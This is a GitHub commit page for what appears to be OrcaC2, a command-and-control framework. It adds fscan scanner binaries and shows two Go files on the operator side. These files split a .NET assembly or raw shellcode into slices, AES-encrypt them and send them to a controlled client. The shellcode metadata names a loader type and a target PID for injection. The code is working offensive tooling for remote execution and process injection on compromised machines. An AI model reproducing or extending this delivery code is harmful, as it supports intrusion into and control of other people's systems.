Skip to content

Commit

Permalink
OrcaC2 1.10.6
Browse files Browse the repository at this point in the history
  • Loading branch information
Ptkatz committed Nov 6, 2022
1 parent 6778ac7 commit 8afc622
Show file tree
Hide file tree
Showing 64 changed files with 6,510 additions and 6,275 deletions.
1 change: 1 addition & 0 deletions Orca_Master/.orca-history
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ls
Binary file added Orca_Master/3rd_party/linux/plugin/386/fscan_386
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://github.com/shadow1ng/fscan/releases/tag/1.8.1
HostUrl=https://objects.githubusercontent.com/github-production-release-asset-2e65be/312629343/195f0bb0-d044-465d-b743-e21a1de1138c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20221106%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20221106T081839Z&X-Amz-Expires=300&X-Amz-Signature=924d16b385ba2daa840cc3104ea9edc4febe8ca5f30beda8b0111d4d3e7251b8&X-Amz-SignedHeaders=host&actor_id=112046443&key_id=0&repo_id=312629343&response-content-disposition=attachment%3B%20filename%3Dfscan_386&response-content-type=application%2Foctet-stream
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://github.com/shadow1ng/fscan/releases/tag/1.8.1
HostUrl=https://objects.githubusercontent.com/github-production-release-asset-2e65be/312629343/9226e047-9f78-4572-9d65-d07aeb09e0be?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20221106%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20221106T081836Z&X-Amz-Expires=300&X-Amz-Signature=28df23d76e3dca39a7517d8e69c25bb2df58abe09a3aec936f54cf50957588ca&X-Amz-SignedHeaders=host&actor_id=112046443&key_id=0&repo_id=312629343&response-content-disposition=attachment%3B%20filename%3Dfscan_amd64&response-content-type=application%2Foctet-stream
192 changes: 96 additions & 96 deletions Orca_Master/cli/cmdopt/assemblyopt/sendassembly.go
Original file line number Diff line number Diff line change
@@ -1,96 +1,96 @@
package assemblyopt

import (
"Orca_Master/cli/cmdopt/fileopt"
"Orca_Master/cli/common"
"Orca_Master/define/colorcode"
"Orca_Master/define/config"
"Orca_Master/tools/crypto"
"Orca_Master/tools/util"
"encoding/json"
"fmt"
"github.com/tj/go-spin"
"io"
"os"
"path/filepath"
"time"
)

const SliceBytes = 40 * 1024 // 分片大小

type AssemblyMetaInfo struct {
Fid string // 操作文件ID,随机生成的UUID
FileName string // 程序名
SliceNum int // 基础分片数量
SliceSize int64 // 基础分片大小
RemainSize int64 // 剩余分片大小
}

// 获取程序集元信息,并加密
func GetAssemblyMetaInfo(uploadFile string) string {
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
_, filename := filepath.Split(uploadFile)
sliceSize := int64(SliceBytes)
assemblyMetaInfo := AssemblyMetaInfo{
Fid: util.GenUUID(),
FileName: filename,
SliceNum: sliceNum,
SliceSize: sliceSize,
RemainSize: remainSize,
}
metaInfo, err := json.Marshal(assemblyMetaInfo)
if err != nil {
return ""
}
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
return data
}

// 发送程序集元信息
func SendAssemblyMetaMsg(clientId, metaData string) common.HttpRetData {
sendUserId := common.ClientId
msg := "assemblyLoad"
data := metaData
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
return retData
}

// 发送程序集分片数据
func SendAssemblySliceMsg(clientId string, sliceData []byte) common.HttpRetData {
sendUserId := common.ClientId
msg := "assemblySliceData"
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
return retData
}

// 发送文件
func SendFileData(clientId string, uploadFile string) {
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
sliceSize := int64(SliceBytes)
pUploadFile, _ := os.Open(uploadFile)
defer pUploadFile.Close()
s := spin.New()
s.Set(spin.Box2)
currentTime := time.Now().Format("2006/01/02 15:04:05")
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
for i := 0; i < sliceNum; i++ {
fmt.Printf("\r%s%s assembly loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
sliceData := make([]byte, sliceSize)
_, err := pUploadFile.Read(sliceData)
if err != nil && err != io.EOF {
panic(err.Error())
}
SendAssemblySliceMsg(clientId, sliceData)
}
// 处理最后一个分片
sliceData := make([]byte, remainSize)
_, err := pUploadFile.Read(sliceData)
if err != nil && err != io.EOF {
panic(err.Error())
}
SendAssemblySliceMsg(clientId, sliceData)
fmt.Println()

}
package assemblyopt

import (
"Orca_Master/cli/cmdopt/fileopt"
"Orca_Master/cli/common"
"Orca_Master/define/colorcode"
"Orca_Master/define/config"
"Orca_Master/tools/crypto"
"Orca_Master/tools/util"
"encoding/json"
"fmt"
"github.com/tj/go-spin"
"io"
"os"
"path/filepath"
"time"
)

const SliceBytes = 40 * 1024 // 分片大小

type AssemblyMetaInfo struct {
Fid string // 操作文件ID,随机生成的UUID
FileName string // 程序名
SliceNum int // 基础分片数量
SliceSize int64 // 基础分片大小
RemainSize int64 // 剩余分片大小
}

// 获取程序集元信息,并加密
func GetAssemblyMetaInfo(uploadFile string) string {
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
_, filename := filepath.Split(uploadFile)
sliceSize := int64(SliceBytes)
assemblyMetaInfo := AssemblyMetaInfo{
Fid: util.GenUUID(),
FileName: filename,
SliceNum: sliceNum,
SliceSize: sliceSize,
RemainSize: remainSize,
}
metaInfo, err := json.Marshal(assemblyMetaInfo)
if err != nil {
return ""
}
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
return data
}

// 发送程序集元信息
func SendAssemblyMetaMsg(clientId, metaData string) common.HttpRetData {
sendUserId := common.ClientId
msg := "assemblyLoad"
data := metaData
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
return retData
}

// 发送程序集分片数据
func SendAssemblySliceMsg(clientId string, sliceData []byte) common.HttpRetData {
sendUserId := common.ClientId
msg := "assemblySliceData"
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
return retData
}

// 发送文件
func SendFileData(clientId string, uploadFile string) {
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
sliceSize := int64(SliceBytes)
pUploadFile, _ := os.Open(uploadFile)
defer pUploadFile.Close()
s := spin.New()
s.Set(spin.Box2)
currentTime := time.Now().Format("2006/01/02 15:04:05")
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
for i := 0; i < sliceNum; i++ {
fmt.Printf("\r%s%s assembly loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
sliceData := make([]byte, sliceSize)
_, err := pUploadFile.Read(sliceData)
if err != nil && err != io.EOF {
panic(err.Error())
}
SendAssemblySliceMsg(clientId, sliceData)
}
// 处理最后一个分片
sliceData := make([]byte, remainSize)
_, err := pUploadFile.Read(sliceData)
if err != nil && err != io.EOF {
panic(err.Error())
}
SendAssemblySliceMsg(clientId, sliceData)
fmt.Println()

}
190 changes: 95 additions & 95 deletions Orca_Master/cli/cmdopt/execopt/sendshellcode.go
Original file line number Diff line number Diff line change
@@ -1,95 +1,95 @@
package execopt

import (
"Orca_Master/cli/cmdopt/fileopt"
"Orca_Master/cli/common"
"Orca_Master/define/colorcode"
"Orca_Master/define/config"
"Orca_Master/tools/crypto"
"Orca_Master/tools/util"
"encoding/json"
"fmt"
"github.com/tj/go-spin"
"io"
"os"
"time"
)

const SliceBytes = 40 * 1024 // 分片大小

type ShellcodeMetaInfo struct {
Fid string // 操作文件ID,随机生成的UUID
LoadFunc string // 加载器类型
Pid int // 注入的pid
SliceNum int // 基础分片数量
SliceSize int64 // 基础分片大小
RemainSize int64 // 剩余分片大小
}

// 获取程序集元信息,并加密
func GetShellcodeMetaInfo(uploadFile, loadFunc string, pid int) string {
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
sliceSize := int64(SliceBytes)
assemblyMetaInfo := ShellcodeMetaInfo{
Fid: util.GenUUID(),
LoadFunc: loadFunc,
Pid: pid,
SliceNum: sliceNum,
SliceSize: sliceSize,
RemainSize: remainSize,
}
metaInfo, err := json.Marshal(assemblyMetaInfo)
if err != nil {
return ""
}
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
return data
}

// 发送程序集元信息
func SendShellcodeMetaMsg(clientId, metaData string) common.HttpRetData {
sendUserId := common.ClientId
msg := "shellcode"
data := metaData
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
return retData
}

// 发送程序集分片数据
func SendShellcodeSliceMsg(clientId string, sliceData []byte) common.HttpRetData {
sendUserId := common.ClientId
msg := "shellcodeSliceData"
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
return retData
}

// 发送文件
func SendFileData(clientId string, uploadFile string) {
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
sliceSize := int64(SliceBytes)
pUploadFile, _ := os.Open(uploadFile)
defer pUploadFile.Close()
s := spin.New()
s.Set(spin.Box2)
currentTime := time.Now().Format("2006/01/02 15:04:05")
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
for i := 0; i < sliceNum; i++ {
fmt.Printf("\r%s%s shellcode loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
sliceData := make([]byte, sliceSize)
_, err := pUploadFile.Read(sliceData)
if err != nil && err != io.EOF {
panic(err.Error())
}
SendShellcodeSliceMsg(clientId, sliceData)
}
// 处理最后一个分片
sliceData := make([]byte, remainSize)
_, err := pUploadFile.Read(sliceData)
if err != nil && err != io.EOF {
panic(err.Error())
}
SendShellcodeSliceMsg(clientId, sliceData)
fmt.Println()
}
package execopt

import (
"Orca_Master/cli/cmdopt/fileopt"
"Orca_Master/cli/common"
"Orca_Master/define/colorcode"
"Orca_Master/define/config"
"Orca_Master/tools/crypto"
"Orca_Master/tools/util"
"encoding/json"
"fmt"
"github.com/tj/go-spin"
"io"
"os"
"time"
)

const SliceBytes = 40 * 1024 // 分片大小

type ShellcodeMetaInfo struct {
Fid string // 操作文件ID,随机生成的UUID
LoadFunc string // 加载器类型
Pid int // 注入的pid
SliceNum int // 基础分片数量
SliceSize int64 // 基础分片大小
RemainSize int64 // 剩余分片大小
}

// 获取程序集元信息,并加密
func GetShellcodeMetaInfo(uploadFile, loadFunc string, pid int) string {
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
sliceSize := int64(SliceBytes)
assemblyMetaInfo := ShellcodeMetaInfo{
Fid: util.GenUUID(),
LoadFunc: loadFunc,
Pid: pid,
SliceNum: sliceNum,
SliceSize: sliceSize,
RemainSize: remainSize,
}
metaInfo, err := json.Marshal(assemblyMetaInfo)
if err != nil {
return ""
}
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
return data
}

// 发送程序集元信息
func SendShellcodeMetaMsg(clientId, metaData string) common.HttpRetData {
sendUserId := common.ClientId
msg := "shellcode"
data := metaData
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
return retData
}

// 发送程序集分片数据
func SendShellcodeSliceMsg(clientId string, sliceData []byte) common.HttpRetData {
sendUserId := common.ClientId
msg := "shellcodeSliceData"
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
return retData
}

// 发送文件
func SendFileData(clientId string, uploadFile string) {
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
sliceSize := int64(SliceBytes)
pUploadFile, _ := os.Open(uploadFile)
defer pUploadFile.Close()
s := spin.New()
s.Set(spin.Box2)
currentTime := time.Now().Format("2006/01/02 15:04:05")
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
for i := 0; i < sliceNum; i++ {
fmt.Printf("\r%s%s shellcode loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
sliceData := make([]byte, sliceSize)
_, err := pUploadFile.Read(sliceData)
if err != nil && err != io.EOF {
panic(err.Error())
}
SendShellcodeSliceMsg(clientId, sliceData)
}
// 处理最后一个分片
sliceData := make([]byte, remainSize)
_, err := pUploadFile.Read(sliceData)
if err != nil && err != io.EOF {
panic(err.Error())
}
SendShellcodeSliceMsg(clientId, sliceData)
fmt.Println()
}
Loading

0 comments on commit 8afc622

Please sign in to comment.